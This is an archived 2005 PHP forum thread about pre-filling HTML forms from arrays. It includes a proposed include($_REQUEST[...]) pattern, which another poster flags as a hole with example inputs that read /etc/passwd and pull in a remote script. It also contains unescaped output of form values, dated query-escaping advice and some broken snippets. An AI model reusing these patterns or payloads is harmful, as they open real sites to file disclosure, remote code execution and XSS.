|
 |
|
 |
 |
03-13-2005, 07:44 AM
|
#1 (permalink)
|
|
Registered User
Join Date: Mar 2005
Posts: 5
|
Sending arbitrary PHP data to HTML forms
Hello,
I am trying to find a quick and generic way of populating arbitrary input type values of an html form from a PHP array. My PHP array is indexed after the form variable names and I want to avoid having to do something like this for each object:
....
User ID: <input type="text" name="user_id" size="20" tabindex="2"
maxlength="127" <?php if(isset($Mydata['user_id'])) echo "value=\"$Mydata['user_id']\"";?> >
.....
Note that the array may have index names that may not exist in the HTML form and the HTML form may have variables that are not set in the array!
Is there a way to preset default browses DOM data from PHP, setting the form values in advanced? or maybe some othe neat trick to do this with javascript? I'm guessing its possible to itterate over all from variables and set thier values by attemting to find them in some javascript array generated by php? any ideas?
Saul.
__________________
|
|
|
03-13-2005, 09:58 AM
|
#2 (permalink)
|
|
Moderator
Join Date: May 2002
Location: us.ca
Posts: 4,397
|
Hi Saul,
With PHP, you don't really have to check if the variable is set. If it is not, it will just echo nothing. PHP is not as strict as other languages.
The quickest way to write the code above would be like this:
PHP Code:
User ID: <input type="text" name="user_id" size="20" tabindex="2"
maxlength="127" value="<?=$Mydata['user_id']?>">
<?=$somevar?> is a shortcut in php to print the variable.
As for your 'note', .. it really doesn't matter if there are elements in the html form that don't exist in the PHP. Think of PHP as a tool to generate text.
Quote:
|
Is there a way to preset default browses DOM data from PHP, setting the form values in advanced?
|
this question threw me off a bit. The following questions don't really make sense to me too. Maybe I can explain it like this.
PHP executes on the server-side, Javascript executes in the browser on the client side. So does HTML. So, by the time you see HTML on the web page, PHP is done processing it. You're just using PHP to generate text.
Hope that helps somewhat.
__________________
testing 1 2 3
|
|
|
03-13-2005, 03:28 PM
|
#3 (permalink)
|
|
Registered User
Join Date: Mar 2005
Posts: 5
|
Quote:
|
Originally Posted by sde
Hi Saul,
With PHP, you don't really have to check if the variable is set. If it is not, it will just echo nothing. PHP is not as strict as other languages.
The quickest way to write the code above would be like this:
PHP Code:
User ID: <input type="text" name="user_id" size="20" tabindex="2"
maxlength="127" value="<?=$Mydata['user_id']?>">
<?=$somevar?> is a shortcut in php to print the variable.
As for your 'note', .. it really doesn't matter if there are elements in the html form that don't exist in the PHP. Think of PHP as a tool to generate text.
this question threw me off a bit. The following questions don't really make sense to me too. Maybe I can explain it like this.
PHP executes on the server-side, Javascript executes in the browser on the client side. So does HTML. So, by the time you see HTML on the web page, PHP is done processing it. You're just using PHP to generate text.
Hope that helps somewhat.
|
Thanks for the reply! I like the shortcuts you suggest...you'r right that you do not need the isset each time, altough every time I use an undefined variable it gets logged as a warning in my error log.
Actually, the real difficuly is when we try to avoid hardcoding this in the form altogether...e.g. given an arbirary form and an arbitrary array (index using the form names), can we populate the form...its easy to get form data into PHP but not the other way (as you say in your last comment). I'm working on a workaround for this....generating javascript..roughly speaking its:
<?php
print "<script language=\"javascript\">";
print "function formdata() {";
foreach ($myArray as $name => $value)
print "this.$name = $value;";
print "}";
print "function loadform() {";
print "formdata myFormData;";
print "for (form_element in document.forms[0])"
document.form[0].form_element = myFormData.form_element;
print "}"
print "</Javascript>";
then you can have and onload statement or something. But the problem here is that the javascript statement:
document.form[0].form_element = myFormData.form_element;
does not do what we wnt it to do (populate name/value pairs in the form)...I'm trying to figure out something for this. If you have any ideas, let me know!
Thanks!
Saul.
__________________
|
|
|
03-13-2005, 05:42 PM
|
#4 (permalink)
|
|
Senior Grasshopper
Join Date: Jun 2003
Location: FL
Posts: 317
|
Well, JS isn't ideal to use unless you have a controlled environment (corporate, educational setting, etc..) or are doing basic things that aren't crucial to operations. ...but that's just me. I really hate when apps are so deep with JS that disabling it renders the app useless.
So are you creating the form by hand? If so, then it doesn't seem like any extra effort to include a call to echo the PHP data..
-r
__________________
|
|
|
03-13-2005, 08:47 PM
|
#5 (permalink)
|
|
Registered User
Join Date: Mar 2005
Posts: 5
|
yeh..JS is not optimal, but the last resort....I gave up on it and just put the echo commands...but I still think that a function that can pupulate any existing form without having to modify them would be very usefull. Plus its an interesting problem 
though I don't think its doable without JS.
Cheers!
Saul.
__________________
|
|
|
03-13-2005, 08:58 PM
|
#6 (permalink)
|
|
Moderator
Join Date: May 2002
Location: us.ca
Posts: 4,397
|
i just can't wrap my head around why to do it in JS. if you were to do it in JS, you would still need PHP to print all the JS logic to the screen, .. which is why i would ask why not just to PHP to HTML rather than PHP to JS to HTML.
Glad you found a solution for now though. 
__________________
testing 1 2 3
|
|
|
03-14-2005, 04:27 AM
|
#7 (permalink)
|
|
Senior Contributor
Join Date: Mar 2005
Posts: 635
|
Code:
<?php
$Mydata = array(
'user_id' = 0,
'password' = 0
);
foreach ($Mydata as $key => $value) {
if (isset($_POST[$key])) $Mydata[$key] = htmlentities($_POST[$key]);
}
?>
User ID: <input type="text" name="user_id" size="20" tabindex="2"
maxlength="127" value="<?php echo $Mydata['user_id'];?>" />
I use <?php and ?> all the time ON PURPOSE.
The short notation <? is not recognized on several systems when the php.ini value "short_open_tag" is set to 'Off'
__________________
|
|
|
03-14-2005, 06:26 AM
|
#8 (permalink)
|
|
Moderator
Join Date: May 2002
Location: us.ca
Posts: 4,397
|
Quote:
|
Originally Posted by DJMaze
[code]The short notation <? is not recognized on several systems when the php.ini value "short_open_tag" is set to 'Off'
|
Hey maze, that is a great point. I think it's set to on by default, but it's something I never really considered as I like to keep code portable as possible.
__________________
testing 1 2 3
|
|
|
03-14-2005, 06:59 AM
|
#9 (permalink)
|
|
Registered User
Join Date: Mar 2005
Posts: 5
|
The main issue is this: You already have several and potentially many large forms that are already (or must be) formatted nicely within tables in a potentially irregular layout. It is difficult to generate the layout automatically in PHP, at least I think so given my current knowledge of PHP (maybe templating helps). Further, the forms can be designed by some HTML/graphics person that knows nothing of php. Having to go through each form and fill in the value field is anoying, maybe I'm just too lazy!
I figure I can instead have a generic template that can include and populate any form, heck, the form name itselft can also be a dynamic entity passed in the request:
<?php
...scpeial code to populate form....
include($_REQUEST['query_form_filename']);
?>
I suppose its a hack, and the better way is to scrap the original forms and generate them dynamically, or fill in the value fileds, as everyone suggests...but hey, I'm all for hacks  ...and I'm still not sure how I would consolidate the layout in the latter!
Cheers,
Saul.
__________________
|
|
|
03-14-2005, 07:45 AM
|
#10 (permalink)
|
|
Senior Contributor
Join Date: Mar 2005
Posts: 635
|
Quote:
|
Originally Posted by sde
Hey maze, that is a great point. I think it's set to on by default, but it's something I never really considered as I like to keep code portable as possible.
|
There are a lot more issues to consider when keeping your code portable.
The most common issue people forget is when "magic_quotes_sybase" set to 'On'
It makes stripslashes() and addslashes() completely useless for MySQL queries.
addcslashes() or mysql_escape_string() are much better.
Also there are a lot more issues like register_globals but this all has nothing todo with this thread unless saul wants to use his <form> data into a database.
__________________
|
|
|
03-14-2005, 07:48 AM
|
#11 (permalink)
|
|
Senior Contributor
Join Date: Mar 2005
Posts: 635
|
Quote:
|
Originally Posted by saul
I figure I can instead have a generic template that can include and populate any form, heck, the form name itselft can also be a dynamic entity passed in the request:
<?php
...scpeial code to populate form....
include($_REQUEST['query_form_filename']);
?>
|
Not a good idea since it opens holes in your application.
index.php?query_form_filename=/etc/passwd or index.php?query_form_filename=http://host/nastyscript.txt for example.
__________________
|
|
|
03-14-2005, 08:06 AM
|
#12 (permalink)
|
|
Registered User
Join Date: Mar 2005
Posts: 5
|
Nice catch! Did not even think of that, its a very serious hole! Thanks for the tip!
Saul.
__________________
|
|
|
03-14-2005, 08:27 AM
|
#13 (permalink)
|
|
Moderator
Join Date: May 2002
Location: us.ca
Posts: 4,397
|
ok, i spent a little time and wrote a couple functions to dynamically draw forms from a PHP array. it was done quickly more for demonstration purposes, .. so you can probably modify it to your needs. check it out. http://codenewbie.com/test.php
PHP Code:
<?
function getFormHTML($form,$table,$fields){
$html .= "<form";
foreach($form as $key => $value){
$html .= " ".$key."=\"".$value."\"";
}
$html .= ">\n";
if(is_array($fields)){
$html .= "<table";
foreach($table as $key => $value){
$html .= " ".$key."=\"".$value."\"";
}
$html .= ">\n";
foreach($fields as $field){
$html .= "<tr><td align=\"right\" valign=\"top\"><b>".$field['title']."</b></td><td valign=\"top\">";
$html .= getInputHTML($field);
$html .= "</td></tr>\n";
}
$html .= "</table>\n";
}
$html .= "</form>\n";
return $html;
}
function getInputHTML($field){
switch($field['type']){
case "textarea":
$html .= "<textarea";
foreach($field as $key => $value){
if($key!="value")
$html .= " ".$key."=\"".$value."\"";
}
$html .= ">".$field['value']."</textarea>\n";
break;
case "radio":
foreach($field['options'] as $key => $value){
$html .= "<input type=\"radio\" name=\"".$field['name']."\" value=\"".$key."\" ";
$html .= (($field['value']==$key)?"checked":"")."> ".$value." ";
}
break;
case "checkbox":
foreach($field['options'] as $key => $value){
$html .= "<input type=\"checkbox\" name=\"".$field['name']."\" value=\"".$key."\" ";
$html .= (( in_array($key,$field['values']) )?"checked":"")."> ".$value." ";
}
break;
case "select":
$html .= "<select".(($field['multiple'])?" MULTIPLE":"");
foreach($field as $key => $value){
if($key!="values" && $key!="options" && $key!="multiple")
$html .= " ".$key."=\"".$value."\"";
}
foreach($field['options'] as $key => $value){
$html .= "<option value=\"".$key."\"";
$html .= (( in_array($key,$field['values']) )?" selected":"")."> ".$value."</option>\n";
}
$html .= "</select>\n";
break;
default:
$html .= "<input";
foreach($field as $key => $value){
$html .= " ".$key."=\"".$value."\"";
}
$html .= ">";
break;
}
return $html;
}
$form['name']="my_form";
$form['method']="POST";
$form['action']="somepage.php";
$table['border']="0";
$table['cellspacing']="1";
$table['cellpadding']="2";
$table['style']="border-style:solid;border-width:1px;font-family:arial;font-size:9pt;";
$fields[0]['name']="username";
$fields[0]['type']="text";
$fields[0]['value']="sde";
$fields[0]['size']="35";
$fields[0]['maxlength']="35";
$fields[0]['title']="User Name";
$fields[1]['name']="email";
$fields[1]['type']="text";
$fields[1]['value']="myemail@somedomain.com";
$fields[1]['size']="35";
$fields[1]['maxlength']="64";
$fields[1]['title']="Email Address";
$fields[2]['name']="gender";
$fields[2]['type']="radio";
$fields[2]['options'] = array("M"=>"Male","F"=>"Female");
$fields[2]['value']="M";
$fields[2]['title']="Gender";
$fields[2]['name']="languages";
$fields[2]['type']="checkbox";
$fields[2]['options'] = array("html"=>"HTML","javascript"=>"Java Script","php"=>"PHP","cpp"=>"C++");
$fields[2]['values'] = array("html","javascript","php");
$fields[2]['title']="Languages";
$fields[3]['name']="favorite_sites";
$fields[3]['type']="select";
$fields[3]['multiple']=true;
$fields[3]['size']=4;
$fields[3]['options'] = array("google.com"=>"google.com","codenewbie.com"=>"codenewbie.com","cnn.com"=>"cnn.com","php.net"=>"php.net");
$fields[3]['values'] = array("codenewbie.com","php.net");
$fields[3]['title']="Favorite Sites";
$fields[4]['name']="favorite_car";
$fields[4]['type']="select";
$fields[4]['options'] = array("nissan"=>"Nissan","toyota"=>"Toyota","subaru"=>"Subaru");
$fields[4]['values'] = array("subaru");
$fields[4]['title']="Favorite Car Company";
$fields[5]['name']="bio";
$fields[5]['type']="textarea";
$fields[5]['value']="This is my bio. I like to work with PHP.";
$fields[5]['rows']="5";
$fields[5]['cols']="55";
$fields[5]['maxlength']="64";
$fields[5]['title']="Biography";
echo getFormHTML($form,$table,$fields);
?>
__________________
testing 1 2 3
|
|
|
| Thread Tools |
|
|
| Display Modes |
Linear Mode
|
Posting Rules
|
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is Off
|
|
|
Similar Threads
|
| Thread |
Thread Starter |
Forum |
Replies |
Last Post |
| < | | | |